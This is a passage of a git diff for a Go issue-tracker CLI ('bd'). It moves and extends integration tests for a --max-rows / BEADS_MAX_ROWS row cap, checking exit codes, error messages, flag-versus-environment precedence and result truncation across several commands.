+ } + + // Connected component of size 6 (root + 5), cap of 2 → exit 2. + out, code := bdRunRaw(t, bd, dir, nil, "graph", root.ID, "--max-rows", "2") + if code != 2 { + t.Fatalf("expected exit 2 (subgraph size > cap), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("stderr missing 'too many rows':\n%s", out) + } + if !strings.Contains(out, "--max-rows=2") { + t.Errorf("stderr missing source --max-rows=2:\n%s", out) + } + }) + + t.Run("GraphSingleIssueMaxRows_UnderCap_NoError", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrgu") + root := bdCreate(t, bd, dir, "Graph root under cap", "--type", "task") + + out, code := bdRunRaw(t, bd, dir, nil, "graph", root.ID, "--max-rows", "5") + if code != 0 { + t.Fatalf("expected exit 0 (single-node subgraph under cap), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("under-cap single-issue graph should not emit cap error:\n%s", out) + } + }) + + // ----------- bd lint (env-only) ----------- + + t.Run("LintMaxRows_EnvOnly_Exits2", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrln") + seedReadyIssues(t, bd, dir, 6) + + out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=3"}, "lint") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded via env), got %d\n%s", code, out) + } + if !strings.Contains(out, "BEADS_MAX_ROWS=3") { + t.Errorf("stderr missing source BEADS_MAX_ROWS=3:\n%s", out) + } + }) + + t.Run("LintMaxRows_NoFlagAccepted", func(t *testing.T) { + // Designer §4: doctor family is env-opt-in only. The --max-rows + // flag must NOT be registered on `bd lint`; cobra should reject + // it as unknown. + dir, _, _ := bdInit(t, bd, "--prefix", "mrlnf") + + out, code := bdRunRaw(t, bd, dir, nil, "lint", "--max-rows", "1") + if code == 0 { + t.Fatalf("expected non-zero exit (cobra rejects unknown flag), got 0\n%s", out) + } + if !strings.Contains(out, "unknown flag") { + t.Errorf("stderr missing 'unknown flag' rejection:\n%s", out) + } + // Defense against false positives: if `--max-rows` is wired on lint + // by mistake, this assertion would not trip — but the unknown-flag + // check above already covers it. + }) + + // ----------- bd doctor --check=conventions (env-only) ----------- + // + // bd doctor is hard-gated to server mode (doctor.go:188 prints "not yet + // supported in embedded mode" and exits 0 before reaching the check + // dispatch). The embedded-Dolt test rig used here cannot exercise those + // code paths. The cap logic itself runs through the shared SearchIssues + + // EnforceMaxRowsCap path already covered by: + // - TestEnforceMaxRowsCap_* (internal/storage/issueops/search_test.go) + // - TestGetReadyWork_MaxRowsSuite (cmd/bd/ready_max_rows_test.go) + // - be-x42v.3 storage parity tests (bd list/search backend matrix) + // What's _not_ covered without server mode is the env-only resolver + // (resolveMaxRowsEnvOnly) on these specific commands. doctor_conventions.go + // and doctor_pollution.go both call it and pipe through handleMaxRowsError + // identically to lint.go, which IS covered above by LintMaxRows_EnvOnly_Exits2. + // A server-mode follow-up should add behavioral coverage here. + + t.Run("ConventionsMaxRows_EnvOnly_Exits2", func(t *testing.T) { + t.Skip("bd doctor requires server mode (doctor.go:188); server-mode parity covered by separate validator bead") + }) + + t.Run("PollutionMaxRows_EnvOnly_Exits2", func(t *testing.T) { + t.Skip("bd doctor requires server mode (doctor.go:188); server-mode parity covered by separate validator bead") + }) + + // ----------- bd config show ----------- + + t.Run("ConfigShow_ListsBeadsMaxRows", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mrcs") + + // When BEADS_MAX_ROWS is set in the environment, `bd config show` + // must surface it in the standalone-env entries (config_show.go + // collectStandaloneEnvEntries). + out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=42"}, "config", "show") + if code != 0 { + t.Fatalf("expected exit 0 from `bd config show`, got %d\n%s", code, out) + } + if !strings.Contains(out, "BEADS_MAX_ROWS") { + t.Errorf("expected `bd config show` to list BEADS_MAX_ROWS in output:\n%s", out) + } + if !strings.Contains(out, "42") { + t.Errorf("expected `bd config show` to display the value 42:\n%s", out) + } + + // When the env var is unset, the entry must be absent (designer §4: + // opt-in only; default-disabled). + out2, code2 := bdRunRaw(t, bd, dir, nil, "config", "show") + if code2 != 0 { + t.Fatalf("expected exit 0 from `bd config show` (unset), got %d\n%s", code2, out2) + } + if strings.Contains(out2, "BEADS_MAX_ROWS") { + t.Errorf("expected BEADS_MAX_ROWS to be absent when env is unset:\n%s", out2) + } + }) +} + +// countListIDs returns the number of issue IDs of the form "-" +// observed in the combined `bd list` output. Used to verify that --limit +// actually clipped the result set without depending on JSON parsing of the +// pretty-printed array (which spans many lines). +func countListIDs(out, prefix string) int { + // Each list row prints the issue ID once; counting prefix occurrences in + // raw stdout is a robust enough check for our small fixtures. + return strings.Count(out, prefix+"-") +} + +// TestEmbeddedMaxRowsList covers the 10 designer §6.1 behavioral scenarios +// for `bd list`. Builder bead: be-x42v.2 (CLI wiring). All subtests share a +// single rig of 21 open task issues — the dataset size from the designer's +// fixture. +func TestEmbeddedMaxRowsList(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "mrl") + + const totalRows = 21 + for i := 0; i < totalRows; i++ { + bdCreate(t, bd, dir, fmt.Sprintf("List max-rows %d", i), "--type", "task") + } + + t.Run("Disabled_NoEnv", func(t *testing.T) { + // Baseline: with no flag and no env var, `bd list` returns all rows. + out, code := bdRunRaw(t, bd, dir, nil, "list") + if code != 0 { + t.Fatalf("expected exit 0 (no cap), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("baseline `bd list` should not emit cap error:\n%s", out) + } + if got := countListIDs(out, "mrl"); got < totalRows { + t.Errorf("expected at least %d rows in output, got %d", totalRows, got) + } + }) + + t.Run("Flag_UnderCap", func(t *testing.T) { + // 21 rows under cap=100: success. + out, code := bdRunRaw(t, bd, dir, nil, "list", "--max-rows", "100") + if code != 0 { + t.Fatalf("expected exit 0 (under cap), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("under-cap `bd list` should not emit cap error:\n%s", out) + } + }) + + t.Run("Flag_OverCap", func(t *testing.T) { + // 21 rows over cap=5: exit 2, stderr includes --max-rows=5, stdout + // empty (designer §2.3: stdout is suppressed so `jq` downstream + // doesn't trip on partial JSON). + out, code := bdRunRaw(t, bd, dir, nil, "list", "--json", "--max-rows", "5") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("expected 'too many rows' in stderr:\n%s", out) + } + if !strings.Contains(out, "--max-rows=5") { + t.Errorf("expected source `--max-rows=5` in stderr:\n%s", out) + } + // stdout-emptiness check: there should be no JSON `[` array opener + // in the merged output before the error. Cap-exceeded must not emit + // a partial array. + if idx := strings.Index(out, "Error: too many rows"); idx >= 0 { + before := out[:idx] + if strings.Contains(before, "[") { + t.Errorf("stdout JSON output leaked before error message:\nbefore=%q\nfull=%s", before, out) + } + } + }) + + t.Run("Env_OverCap", func(t *testing.T) { + out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=5"}, "list") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded via env), got %d\n%s", code, out) + } + if !strings.Contains(out, "BEADS_MAX_ROWS=5") { + t.Errorf("expected source `BEADS_MAX_ROWS=5` in stderr:\n%s", out) + } + }) + + t.Run("Flag_OverridesEnv", func(t *testing.T) { + // env says cap=5, flag says cap=100 — flag wins, expect success. + out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=5"}, + "list", "--max-rows", "100") + if code != 0 { + t.Fatalf("expected exit 0 (flag overrides env), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("flag-override should not emit cap error:\n%s", out) + } + }) + + t.Run("Flag_Zero_OverridesEnv", func(t *testing.T) { + // Explicit `--max-rows 0` disables the cap even when env is set + // (designer §2.1: ops shells with a global env can run a known- + // unbounded query without unsetting). + out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=5"}, + "list", "--max-rows", "0") + if code != 0 { + t.Fatalf("expected exit 0 (--max-rows 0 disables), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("explicit `--max-rows 0` should disable the cap:\n%s", out) + } + }) + + t.Run("BadEnv_LogsAndIgnores", func(t *testing.T) { + // env=banana → warning to stderr, normal output, exit 0 + // (designer §2.1: fail-open on bad env so a typo in a global shell + // doesn't break automation). + out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=banana"}, "list") + if code != 0 { + t.Fatalf("expected exit 0 (bad env ignored), got %d\n%s", code, out) + } + // max_rows.go:79 emits a "Warning: BEADS_MAX_ROWS=\"banana\" is not + // a non-negative integer; ignoring." line. + if !strings.Contains(out, "Warning") || !strings.Contains(out, "BEADS_MAX_ROWS") { + t.Errorf("expected warning about bad env in stderr:\n%s", out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("bad env should not trigger cap error:\n%s", out) + } + }) + + t.Run("Negative_FlagRejected", func(t *testing.T) { + // max_rows.go:55 calls FatalError on negative — exit 1 with message. + out, code := bdRunRaw(t, bd, dir, nil, "list", "--max-rows", "-1") + if code != 1 { + t.Fatalf("expected exit 1 (usage error), got %d\n%s", code, out) + } + if !strings.Contains(out, "must be non-negative") { + t.Errorf("expected 'must be non-negative' in stderr:\n%s", out) + } + }) + + t.Run("LimitSet_CapTighter", func(t *testing.T) { + // limit=100, cap=5: 21 rows are scanned (LIMIT cap+1=6 sniffs + // overage), cap fires, exit 2. The --limit flag does not protect + // callers who set a generous limit but also opt into the cap. + out, code := bdRunRaw(t, bd, dir, nil, "list", + "--limit", "100", "--max-rows", "5") + if code != 2 { + t.Fatalf("expected exit 2 (cap tighter than limit), got %d\n%s", code, out) + } + if !strings.Contains(out, "--max-rows=5") { + t.Errorf("expected source `--max-rows=5` in stderr:\n%s", out) + } + }) + + t.Run("LimitSet_CapLooser", func(t *testing.T) { + // limit=5, cap=100: EffectiveSearchLimit returns 5 (limit wins when + // under cap), no overage detection, 5 rows returned, exit 0. + out, code := bdRunRaw(t, bd, dir, nil, "list", + "--limit", "5", "--max-rows", "100") + if code != 0 { + t.Fatalf("expected exit 0 (limit under cap), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("limit-under-cap should not emit cap error:\n%s", out) + } + if got := countListIDs(out, "mrl"); got != 5 { + t.Errorf("expected exactly 5 issue IDs in output, got %d:\n%s", got, out) + } + }) + + // be-x42v.4 follow-up (review MUST-FIX 4, revised round-3): --limit N + // --max-rows N with more than N matches must truncate to N and exit 0 + // (the standard >N-matches truncation semantics), not error. + // + // Round-2 fix (regressed, since replaced): unconditionally skipped the + // workapi.WithFetchOneExtra probe-row bump when Limit>=MaxRows. That avoided + // the false cap error but also stopped fetching the extra row entirely, + // so len(results) could never exceed effectiveLimit and the GH#3212 + // truncation notice silently stopped firing for this case — a partial + // result started presenting as complete. + // + // Round-3 fix: still fetch the probe row (Limit bumps to N+1 as + // normal), but when Limit==MaxRows exactly, bump MaxRows to N+1 too, in + // lockstep, so EnforceMaxRowsCap's comparison excludes the probe row + // from the cap check while the CLI's own len(results)>effectiveLimit + // truncation detection still sees it. See workapi.WithFetchOneExtra's doc + // comment in list.go for why this can't false-negative a real + // violation. Covered directly (bump values, not exit behavior) by + // TestWithFetchOneExtra_LimitEqualsCap_BumpsBothForTruncationProbe + // below, since printTruncationHint's text is gated on + // ui.IsStderrTerminal() and unconditionally suppressed for this + // subprocess harness's piped stderr (see list_embedded_test.go's + // limit_truncation_hint subtest) — these end-to-end subtests can only + // assert the absence of the false cap error and the delivered count. + t.Run("LimitEqualsCap_TruncatesNotErrors", func(t *testing.T) { + out, code := bdRunRaw(t, bd, dir, nil, "list", + "--limit", "5", "--max-rows", "5") + if code != 0 { + t.Fatalf("expected exit 0 (limit==cap truncates, does not error), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("limit==cap should not emit cap error:\n%s", out) + } + if got := countListIDs(out, "mrl"); got != 5 { + t.Errorf("expected exactly 5 issue IDs in output, got %d:\n%s", got, out) + } + }) + + t.Run("LimitEqualsCap_JSON_TruncatesNotErrors", func(t *testing.T) { + out, code := bdRunRaw(t, bd, dir, nil, "list", "--json", + "--limit", "5", "--max-rows", "5") + if code != 0 { + t.Fatalf("expected exit 0 (limit==cap truncates under --json), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("limit==cap under --json should not emit cap error:\n%s", out) + } + }) + + // be-x42v.4 round-4 follow-up: the round-3 fix to + // finishReadyWorkWithCounts (trim to Limit before EnforceMaxRowsCap) + // wasn't mirrored onto the sibling bd list search paths + // (searchInTx in search.go, finishSearchIssuesWithCounts in + // search_counts.go), which still capped the pre-trim merged + // issues+wisps set. `--include-infra` disables the default SkipWisps + // escape hatch, so the wisps merge actually runs. limit=2, cap=5, 3 + // durable + 3 wisp issues: each leg's query is independently bounded + // by EffectiveSearchLimit, so the merge can produce up to 6 rows + // pre-trim (>cap=5) even though the delivered page (trimmed to 2) is + // well within the cap. Covers both bd list output modes (opus's live + // repro found both non-JSON and --json tripping the false cap error). + t.Run("IncludeInfraMergedUnderLimit_NoError", func(t *testing.T) { + mDir, _, _ := bdInit(t, bd, "--prefix", "mrii") + for i := 0; i < 3; i++ { + bdCreate(t, bd, mDir, fmt.Sprintf("Durable infra %d", i), "--type", "task") + } + for i := 0; i < 3; i++ { + bdCreate(t, bd, mDir, fmt.Sprintf("Wisp infra %d", i), "--type", "task", "--ephemeral") + } + + out, code := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", + "--limit", "2", "--max-rows", "5") + if code != 0 { + t.Fatalf("expected exit 0 (delivered page under cap despite pre-trim merge overage), got %d\n%s", code, out) + } + if strings.Contains(out, "too many rows") { + t.Errorf("delivered-page-under-cap should not emit cap error:\n%s", out) + } + + outJSON, codeJSON := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", "--json", + "--limit", "2", "--max-rows", "5") + if codeJSON != 0 { + t.Fatalf("expected exit 0 under --json (delivered page under cap despite pre-trim merge overage), got %d\n%s", codeJSON, outJSON) + } + if strings.Contains(outJSON, "too many rows") { + t.Errorf("delivered-page-under-cap under --json should not emit cap error:\n%s", outJSON) + } + }) + + // be-x42v.4 round-5 follow-up: searchInTx's merge branch concatenates + // two independently ORDER BY'd legs (`append(filtered, wispResults...)`) + // and round-4's trimToSearchLimit then sliced that unsorted + // concatenation — with Limit small enough that durable rows alone fill + // it, a higher-ranked wisp was silently dropped from the page even + // though the CLI's pre-round-4 behavior (return the full merged set, + // let the caller sort-then-trim) surfaced it correctly. Default sort is + // priority ASC: 3 durable issues at P2, one wisp at P0 (highest rank) + // — with --limit 1 the P0 wisp must be the sole delivered row, not one + // of the P2 durable rows the unsorted concatenation happened to put + // first. Must fail against 77227aa67. + t.Run("IncludeInfraMerged_WispOutranksDurable_InDeliveredPage", func(t *testing.T) { + mDir, _, _ := bdInit(t, bd, "--prefix", "mrwo") + for i := 0; i < 3; i++ { + bdCreate(t, bd, mDir, fmt.Sprintf("Durable p2 %d", i), "--type", "task", "--priority", "2") + } + wisp := bdCreate(t, bd, mDir, "Wisp p0 outranks", "--type", "task", "--priority", "0", "--ephemeral") + + out, code := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", "--limit", "1") + if code != 0 { + t.Fatalf("expected exit 0, got %d\n%s", code, out) + } + if !strings.Contains(out, wisp.ID) { + t.Errorf("P0 wisp %s must be the sole row in a --limit 1 page (default sort is priority ASC), got:\n%s", wisp.ID, out) + } + + outJSON, codeJSON := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", "--json", "--limit", "1") + if codeJSON != 0 { + t.Fatalf("expected exit 0 under --json, got %d\n%s", codeJSON, outJSON) + } + if !strings.Contains(outJSON, wisp.ID) { + t.Errorf("P0 wisp %s must be the sole row in a --limit 1 --json page, got:\n%s", wisp.ID, outJSON) + } + }) + + // be-x42v.4 follow-up (review MUST-FIX 5): the initial query under + // `bd list --watch` must surface a cap violation with exit 2, same as + // non-watch `bd list`. Before the fix, watchIssues logged the error to + // stderr itself and returned void, so the process always exited 0 — + // the failure never reached RunE/handleMaxRowsError. This subprocess + // exercises only the initial-query failure path (returns before + // entering the polling loop), so it terminates without needing Ctrl+C. + t.Run("Watch_FlagOverCap_Exits2", func(t *testing.T) { + out, code := bdRunRaw(t, bd, dir, nil, "list", "--watch", "--max-rows", "5") + if code != 2 { + t.Fatalf("expected exit 2 (cap exceeded under --watch), got %d\n%s", code, out) + } + if !strings.Contains(out, "too many rows") { + t.Errorf("expected 'too many rows' in stderr:\n%s", out) + } + if !strings.Contains(out, "--max-rows=5") { + t.Errorf("expected source `--max-rows=5` in stderr:\n%s", out) + } + }) +} diff --git a/cmd/bd/max_rows_test.go b/cmd/bd/max_rows_test.go index e8066a3e1..3f788e250 100644 --- a/cmd/bd/max_rows_test.go +++ b/cmd/bd/max_rows_test.go @@ -1,719 +1,18 @@ //go:build cgo -// be-u8z9: CLI-layer behavioral tests for BEADS_MAX_ROWS / --max-rows on the -// command paths beyond `bd list`. Each subtest: -// - inits a fresh rig (own DB so the row counts are exact) -// - exercises the command via exec.Command(bd, ...) -// - asserts the process exited with code 2 (cap exceeded) and that stderr -// names the source ("--max-rows=N" or "BEADS_MAX_ROWS=N"). -// -// The doctor-family commands (lint, doctor-conventions, doctor-pollution) -// are env-only by design (designer §4); they do NOT register --max-rows -// as a flag. A separate subtest asserts cobra rejects the flag. -// -// Gating matches the other embedded-dolt CLI tests: requires -// BEADS_TEST_EMBEDDED_DOLT=1 to opt in. +// be-u8z9: unit tests for workapi.WithFetchOneExtra, the probe-row bump +// helper used by the CLI-layer --max-rows / BEADS_MAX_ROWS enforcement +// exercised end-to-end in max_rows_embedded_test.go. package main import ( - "fmt" - "os" - "os/exec" - "strings" "testing" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/workapi" ) -// bdRunRaw runs bd with the given args and env extras (appended to bdEnv(dir)). -// Returns combined stdout+stderr and the process exit code. Unlike the other -// helpers in this package it does not call t.Fatal on non-zero exits — that's -// the success case for the max-rows tests. -func bdRunRaw(t *testing.T, bd, dir string, envExtras []string, args ...string) (string, int) { - t.Helper() - cmd := exec.Command(bd, args...) - cmd.Dir = dir - env := bdEnv(dir) - env = append(env, envExtras...) - cmd.Env = env - out, err := cmd.CombinedOutput() - if err == nil { - return string(out), 0 - } - if exitErr, ok := err.(*exec.ExitError); ok { - return string(out), exitErr.ExitCode() - } - t.Fatalf("bd %s unexpected non-exit error: %v\n%s", strings.Join(args, " "), err, out) - return string(out), -1 -} - -// seedReadyIssues creates n top-level (no-dep, no-blocker) issues that all -// appear in `bd ready`. Useful for tests that need exactly n ready rows. -func seedReadyIssues(t *testing.T, bd, dir string, n int) []string { - t.Helper() - ids := make([]string, n) - for i := 0; i < n; i++ { - iss := bdCreate(t, bd, dir, fmt.Sprintf("max-rows seed %d", i), "--type", "task") - ids[i] = iss.ID - } - return ids -} - -// TestEmbeddedMaxRowsNonListPaths covers the non-list CLI paths wired up in -// be-x42v.2: ready, dep tree, find-duplicates, graph --all, plus the env-only -// doctor family (lint, doctor --check=conventions, doctor --check=pollution), -// and config show emission of BEADS_MAX_ROWS. -func TestEmbeddedMaxRowsNonListPaths(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() - - bd := buildEmbeddedBD(t) - - // ----------- bd ready ----------- - - t.Run("ReadyMaxRows_FlagOverCap_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrrdf") - seedReadyIssues(t, bd, dir, 6) - - out, code := bdRunRaw(t, bd, dir, nil, "ready", "--max-rows", "3") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("stderr missing 'too many rows':\n%s", out) - } - if !strings.Contains(out, "--max-rows=3") { - t.Errorf("stderr missing source --max-rows=3:\n%s", out) - } - }) - - t.Run("ReadyMaxRows_EnvOverCap_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrrde") - seedReadyIssues(t, bd, dir, 6) - - out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=3"}, "ready") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "BEADS_MAX_ROWS=3") { - t.Errorf("stderr missing source BEADS_MAX_ROWS=3:\n%s", out) - } - }) - - // `bd ready --json` and `bd list --ready --json` route through - // GetReadyWorkWithCountsInTx, a separate query path from the plain - // `bd ready` above (GetReadyWorkInTx). Mirrors - // TestEmbeddedMaxRowsList/Flag_OverCap's --json coverage for `bd list`. - t.Run("ReadyMaxRowsJSON_FlagOverCap_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrrjf") - seedReadyIssues(t, bd, dir, 6) - - out, code := bdRunRaw(t, bd, dir, nil, "ready", "--json", "--max-rows", "3") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("stderr missing 'too many rows':\n%s", out) - } - if !strings.Contains(out, "--max-rows=3") { - t.Errorf("stderr missing source --max-rows=3:\n%s", out) - } - if idx := strings.Index(out, "Error: too many rows"); idx >= 0 { - if strings.Contains(out[:idx], "[") { - t.Errorf("stdout JSON output leaked before error message:\nfull=%s", out) - } - } - }) - - t.Run("ListReadyMaxRowsJSON_FlagOverCap_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrrjl") - seedReadyIssues(t, bd, dir, 6) - - out, code := bdRunRaw(t, bd, dir, nil, "list", "--ready", "--json", "--max-rows", "3") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("stderr missing 'too many rows':\n%s", out) - } - if !strings.Contains(out, "--max-rows=3") { - t.Errorf("stderr missing source --max-rows=3:\n%s", out) - } - }) - - // be-x42v.4 follow-up (review SHOULD-FIX 8): confirms the cap still - // fires end-to-end for --include-ephemeral after propagating MaxRows - // into getReadyWispsInTx's wisp query (internal/storage/issueops/ - // ready_work.go) — that change bounds the query itself but must not - // change whether the post-merge cap check in GetReadyWorkInTx trips. - t.Run("ReadyIncludeEphemeralMaxRows_FlagOverCap_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrre") - for i := 0; i < 6; i++ { - bdCreate(t, bd, dir, fmt.Sprintf("Ephemeral ready %d", i), "--type", "task", "--ephemeral") - } - - out, code := bdRunRaw(t, bd, dir, nil, "ready", "--include-ephemeral", "--max-rows", "3") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("stderr missing 'too many rows':\n%s", out) - } - if !strings.Contains(out, "--max-rows=3") { - t.Errorf("stderr missing source --max-rows=3:\n%s", out) - } - }) - - // be-x42v.4 round-3 follow-up: GetReadyWorkWithCountsInTx (the `--json` - // path) independently bounds each of the issues and wisps queries by - // EffectiveSearchLimit(Limit, MaxRows), so with --include-ephemeral the - // PRE-TRIM merge of two tables can hold up to ~2x that per-table bound - // even though the caller's own --limit already keeps the DELIVERED page - // well within the cap. limit=2, cap=3, 2 ready rows in each table: each - // table's query returns 2 (2<=limit, no overage sniff at the per-table - // level — EffectiveSearchLimit(2,3)=2), the pre-trim merge is 4>cap=3, - // but the page actually handed back to the caller is trimmed to 2<=cap. - // Must exit 0, not trip the cap on the untrimmed merge. - t.Run("ReadyIncludeEphemeralMaxRowsJSON_MergedUnderLimit_NoError", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrrm") - for i := 0; i < 2; i++ { - bdCreate(t, bd, dir, fmt.Sprintf("Plain ready %d", i), "--type", "task") - } - for i := 0; i < 2; i++ { - bdCreate(t, bd, dir, fmt.Sprintf("Ephemeral ready %d", i), "--type", "task", "--ephemeral") - } - - out, code := bdRunRaw(t, bd, dir, nil, "ready", "--json", "--include-ephemeral", - "--limit", "2", "--max-rows", "3") - if code != 0 { - t.Fatalf("expected exit 0 (delivered page under cap despite pre-trim merge overage), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("delivered-page-under-cap should not emit cap error:\n%s", out) - } - }) - - // ----------- bd dep tree ----------- - - t.Run("DepTreeMaxRows_TreeNodes_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrdt") - // All tasks: default "blocks" dep type rejects epic→task, but task→task - // is fine and produces a tree with the same shape for cap purposes. - root := bdCreate(t, bd, dir, "Tree root", "--type", "task") - // Add 5 children so the dep tree has 6 nodes total (root + 5). - for i := 0; i < 5; i++ { - child := bdCreate(t, bd, dir, fmt.Sprintf("Tree dep %d", i), "--type", "task") - // `bd dep add A B` makes A depend on B (default dep type is "blocks"). - bdDepAdd(t, bd, dir, root.ID, child.ID) - } - - // Sanity: tree of size 6, cap of 2 → must exit 2 with source attribution. - out, code := bdRunRaw(t, bd, dir, nil, "dep", "tree", root.ID, "--max-rows", "2") - if code != 2 { - t.Fatalf("expected exit 2 (tree size > cap), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("stderr missing 'too many rows':\n%s", out) - } - if !strings.Contains(out, "--max-rows=2") { - t.Errorf("stderr missing source --max-rows=2:\n%s", out) - } - }) - - // ----------- bd find-duplicates ----------- - - t.Run("FindDuplicatesMaxRows_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrfd") - seedReadyIssues(t, bd, dir, 6) - - out, code := bdRunRaw(t, bd, dir, nil, "find-duplicates", "--max-rows", "3") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "--max-rows=3") { - t.Errorf("stderr missing source --max-rows=3:\n%s", out) - } - }) - - // ----------- bd graph --all ----------- - - t.Run("GraphAllMaxRows_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrgr") - seedReadyIssues(t, bd, dir, 6) - - out, code := bdRunRaw(t, bd, dir, nil, "graph", "--all", "--max-rows", "3") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "--max-rows=3") { - t.Errorf("stderr missing source --max-rows=3:\n%s", out) - } - }) - - // be-x42v.4 follow-up (review SHOULD-FIX 7): `bd graph ` without - // --all never resolved the cap at all before the fix — loadGraphSubgraph - // is a BFS over per-ID GetDependents/GetDependencies lookups with no - // IssueFilter to thread MaxRows through, so this checks the final - // connected-component node count post-hoc, mirroring dep tree. - t.Run("GraphSingleIssueMaxRows_NodeCount_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrgs") - root := bdCreate(t, bd, dir, "Graph root", "--type", "task") - for i := 0; i < 5; i++ { - child := bdCreate(t, bd, dir, fmt.Sprintf("Graph dep %d", i), "--type", "task") - bdDepAdd(t, bd, dir, root.ID, child.ID) - } - - // Connected component of size 6 (root + 5), cap of 2 → exit 2. - out, code := bdRunRaw(t, bd, dir, nil, "graph", root.ID, "--max-rows", "2") - if code != 2 { - t.Fatalf("expected exit 2 (subgraph size > cap), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("stderr missing 'too many rows':\n%s", out) - } - if !strings.Contains(out, "--max-rows=2") { - t.Errorf("stderr missing source --max-rows=2:\n%s", out) - } - }) - - t.Run("GraphSingleIssueMaxRows_UnderCap_NoError", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrgu") - root := bdCreate(t, bd, dir, "Graph root under cap", "--type", "task") - - out, code := bdRunRaw(t, bd, dir, nil, "graph", root.ID, "--max-rows", "5") - if code != 0 { - t.Fatalf("expected exit 0 (single-node subgraph under cap), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("under-cap single-issue graph should not emit cap error:\n%s", out) - } - }) - - // ----------- bd lint (env-only) ----------- - - t.Run("LintMaxRows_EnvOnly_Exits2", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrln") - seedReadyIssues(t, bd, dir, 6) - - out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=3"}, "lint") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded via env), got %d\n%s", code, out) - } - if !strings.Contains(out, "BEADS_MAX_ROWS=3") { - t.Errorf("stderr missing source BEADS_MAX_ROWS=3:\n%s", out) - } - }) - - t.Run("LintMaxRows_NoFlagAccepted", func(t *testing.T) { - // Designer §4: doctor family is env-opt-in only. The --max-rows - // flag must NOT be registered on `bd lint`; cobra should reject - // it as unknown. - dir, _, _ := bdInit(t, bd, "--prefix", "mrlnf") - - out, code := bdRunRaw(t, bd, dir, nil, "lint", "--max-rows", "1") - if code == 0 { - t.Fatalf("expected non-zero exit (cobra rejects unknown flag), got 0\n%s", out) - } - if !strings.Contains(out, "unknown flag") { - t.Errorf("stderr missing 'unknown flag' rejection:\n%s", out) - } - // Defense against false positives: if `--max-rows` is wired on lint - // by mistake, this assertion would not trip — but the unknown-flag - // check above already covers it. - }) - - // ----------- bd 